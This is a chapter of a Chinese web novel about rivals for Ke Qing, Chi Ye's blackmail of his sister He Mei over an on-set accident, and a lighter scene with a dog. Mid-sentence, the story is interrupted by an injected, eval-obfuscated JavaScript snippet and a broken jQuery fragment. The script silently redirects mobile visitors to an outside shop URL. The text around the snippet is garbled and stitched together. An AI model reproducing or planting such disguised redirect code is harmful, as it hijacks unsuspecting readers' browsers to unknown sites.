“对,确实不太方便,不好意思。”柯清说。
付褚恒嘴角抽了一下。
他在心里笑得有多开心,池也现在的脸色就有多难看。
池也自嘲般笑笑,没再强求。
这时老板端了三碗汤面过来,一人一碗。
“快吃,吃完带你去租的房子那里,你也早点休息。”柯清边说边往面里倒醋。
醋瓶放回去的时候,同时伸过来两只手。
他头都没抬,动作自然地把瓶子递到了付褚恒手里。
等到池也悻悻收回手,柯清才反应过来刚刚发生了什么。他心里若有所感,仔细去想的时候那团东西又烟消云散。
付褚恒十分得意,当着池也的面把一整瓶醋全倒了。
“你想要可以去别的空桌拿,这瓶醋都是我的。”
柯清看见他黑漆漆一碗面汤,有些无语,“不要浪费。”
“我能吃。”他急忙说,“保证一口都不会浪费。”
说罢,他大口吃面,就算被酸得龇牙咧嘴也一声不吭。
池也面无表情地盯着付褚恒,曾经光芒耀眼不可一世的太子爷现在像条傻狗。
看来只有除掉某个人,他才有机会跟柯清更进一步。
池也换了一副温柔明媚的笑脸,“没事的付总,其实我不爱吃醋。你想要就都给你。”
他们吃完饭,雨也停了。
把池也安顿好后,他们转身告辞。
两室一厅的整租房干净整洁,完全可以拎包入住。
柯清没说是夏花托关系找的地方,只是说这是他朋友郑理的空房子。
朋友定居国外,所以房子一直空置,池也想住多久都行。
这理由编得过于粗糙,一个随便说说,一个随便听听。谁也没戳破谁。
他站在窗边,目送两人离开。
付褚恒搭上柯清的肩膀,被推开,又搭上又被推开。死缠烂打后,柯清没再拒绝。
他从包里拿出一件香槟色丝绸衬衫。
——是柯清参加宣发会时穿的,被他偷偷拿走。
衬衫领口有柑橘调的香水味,他把脸埋进衣服里深吸一口。香草尾调余韵悠长,通过鼻孔灌入胸腔。
一股兴奋冲动自上而下奔涌……
他睁眼,柯清的背影已经消失了。
想要得到柯清,只能先扳倒付褚恒。这个人很棘手,仅凭他自己绝无可能做到。
对了……
他怎么把他亲爱的姐姐忘了。
屋内的白炽灯灯光又冷又硬,天然形成一种压抑感。
池也哼着歌在削苹果,鲜红的果皮打着圈垂落。
居然刀锋一歪,果皮断了。
他愤怒地把苹果砸在地上,随后立马无事人似的又拿起一个苹果开始削皮。
此时敲门声响起。
来人只是敲了一下,未关紧的门借力朝内打开。
何玫踩着高跟鞋,先看到客厅满地的稀巴烂的苹果,然后才把冷漠不耐烦的目光放在了池也身上。
“喊我来干什么?”她问,“搞成这副鬼样子想干什么?又想拿死来威胁我?池也,你已经不是小孩子了,既然你想死那就去死啊!这个世界上没有人会在乎你的死活!”
“姐……”
“别喊我姐,我听到了恶心反胃!”
“姐,吃苹果吗?”他把削好的苹果插在水果刀尖递上去,“坐吧。”
何玫始终站在门口,细眉紧锁,双眼喷火。
“有事就说,给你一分钟。”
“姐,你看这个房子,是柯清帮我找的。虽然有点老旧,但是我很喜欢。”池也站起身,认真分享自己的新家。
他拉出一把餐椅,请她落座。
“徐峰自身难保,我决定进入烟花传媒,和柯清当同事。”
何玫看了眼腕表,冷冷道:“你还有十秒。”
“坐吧姐,我们坐下来说话。都有好几年没跟你这样说过话了。自从爸妈死了之后……”
“三秒。”
“我知道你还在怪我。但我可是你在世界上唯一的亲人!我是你的弟弟啊!”
时间到,何玫扭头就走。
池也快步跟上去,似笑非笑地说:“就像柯清和凌灵的关系一样,他们,我们,都是这世上彼此的唯一!”
“凌灵”的名字留住了何玫。
她伸向电梯按钮的食指停滞在半空,过了一会儿,回头问:“他弟弟叫什么名字?”
两人回到屋内,何玫反手关紧门。
“柯清,你们在下午的宣发会现场,应该已经见过了。”
何玫猛然想起那个一面之缘的男人。
当时他盯着自己看,她只以为对方是爱慕者之一。
“他和付氏太子爷付褚恒关系很好,你猜他要是知道……”他压低声音,“他姐是被你差点害死的,你猜,付褚恒会不会帮他一起弄死你?”
“你在胡说什么!”何玫身体僵住。
“我是不是胡说,你心里清楚。”池也双手按在她肩上,强迫她坐上餐椅。
“你没发现吗?最近圈内的人,一个接一个出事。你想想看,许庆,徐峰,他们有什么共同点?他们都欺负过凌灵,柯清回来替他姐报仇来了。你又排在第几个呢?”
何玫心惊,下意识甩了他一耳光,厉声呵斥,道:“再胡说我就弄死你!”
池也捂住肿胀的侧脸,癫狂的笑起来。
“哈哈哈哈,哈哈,哈哈哈哈哈哈哈……好啊,我们一起死,去下面跟爸妈团聚。我们一家人永远不分开了!”
“闭嘴!你有什么脸提爸妈?”何玫不想多说,刚站起来就被他控制住双臂。
“坐下!”他突然大吼。
池也彻底疯了,把何玫死死按在椅子上。
“我看见了啊姐姐,当时我去剧组找你。看到你让人去动凌灵的威亚。没想到后果会这么严重吧?你说明天凌灵要是在医院咽气了,我再跟柯清说凶手是你。你从付褚恒手底下逃脱的几率有多大?你觉得是你先死,还是我这个大义灭亲的告发者先下地狱?嗯?姐姐?我可是你,在这个世界上唯一的亲人了。”
何玫瘫了,脸色惨白。
不仅仅是因为面前这个疯子,更是因为她无法承担的后果。
“不是我做的,我没有。”她的狡辩有气无力。
当初凌灵风头正盛,让她讨厌至极。
她只是想让凌灵受点伤退出这部戏,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798988|210576||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没想到竟然摔成植物人了。
这全赖凌灵的命不好!
“我会帮你的,姐姐,我帮你把这个罪嫁接到别人头上。这样你就是清白的了。”
池也把她的头按在自己肩上,拍了拍她的背,继续用安慰的语调说:“但是我能力太弱了,我想帮你,可是有心无力。”
“直接说,不要装成这副恶心的样子。”何玫强装镇定,用冰冷微颤的手推开池也。
“我想见付毅。”
付褚恒打了个喷嚏,总觉得有种脊背发寒的惊悚感。
这种感觉,只有面对付毅时才会有。
“松松,去捡!”他掷出飞盘。
小狗欢快地撒丫子去追,光滑的棕红色毛发在路灯下发着光。
松松已经长了有好几倍大,但它自己还觉得自己只是只小狗。它最喜欢扑到柯清身上让他抱。
现在这个体型,扑过去会撞得柯清倒退一步。
“来,把飞盘给爸爸。”付褚恒站在远处喊。
松松不管他,转头叼着飞盘跑向柯清。
“给爸爸!”
“爸爸在这边!”
“喂!”
付褚恒看着一人一狗越走越远,他在路灯下形单影只格外凄凉。
他追上去,一把抓住松松的项圈,把它提溜过来,“死狗,看不清自己家庭地位了是吧!今晚你就睡门外!”
“汪汪!”松松中气十足还嘴,“汪汪汪汪汪!汪汪汪!”
“你还想咬我?”
“汪汪汪!”
“看我揍死你!”
柯清被吵得头疼,伸手分开一人一狗。
有时候他都分不清到底谁是狗!
“老婆,你的狗欺负我。”
“汪汪汪!汪汪!汪汪!汪汪汪汪汪!”
“你让它别叫了,吓得我心慌。”付褚恒说,“你摸摸,我的心跳得好快。我有点喘不上来气了,要亲亲才能好。”
他拉住柯清的手按在胸口,同时故意绷紧肌肉。明里暗里就只有一个目的——想方设法勾引柯清!
柯清没忍住笑了,说:“你怎么比松松还幼稚。晚上喝了那么多醋,不会觉得不舒服吗?”
“本来没感觉,经过你这么一说,我肚子有点疼。”付褚恒勾住柯清的脖子,自然而然地吻下去。
狗绳从柯清手里掉下来。
松松还以为不要他这只狗了,咬起绳子,头拼了命的往柯清手里拱,想让主人牵着它。
付褚恒睁开一只眼,向下斜睨,空出来的右手准确抓住松松的嘴筒子。
它动弹不得,委屈巴巴地呜咽起来。
绵长的亲吻转移到柯清的喉结上,他被迫仰头。
被雨洗刷过的天空黑润如玛瑙,满天星辰点缀其中,斗转星移,天地倒悬。
他的灵魂被吸入太空,亲身参与了一场盛大绚烂的流星雨。
柯清晕乎乎侧过脸,看见一个模糊的自己也正转头看了过来。
待看清落地玻璃墙上两人的倒影,他先是一怔,紧接着慌乱将头偏到另一边,抬起手臂压在眼睛上。
付褚恒轻笑,把他的手拉下来。
“柯清,说你爱我。嗯……说,我要听。”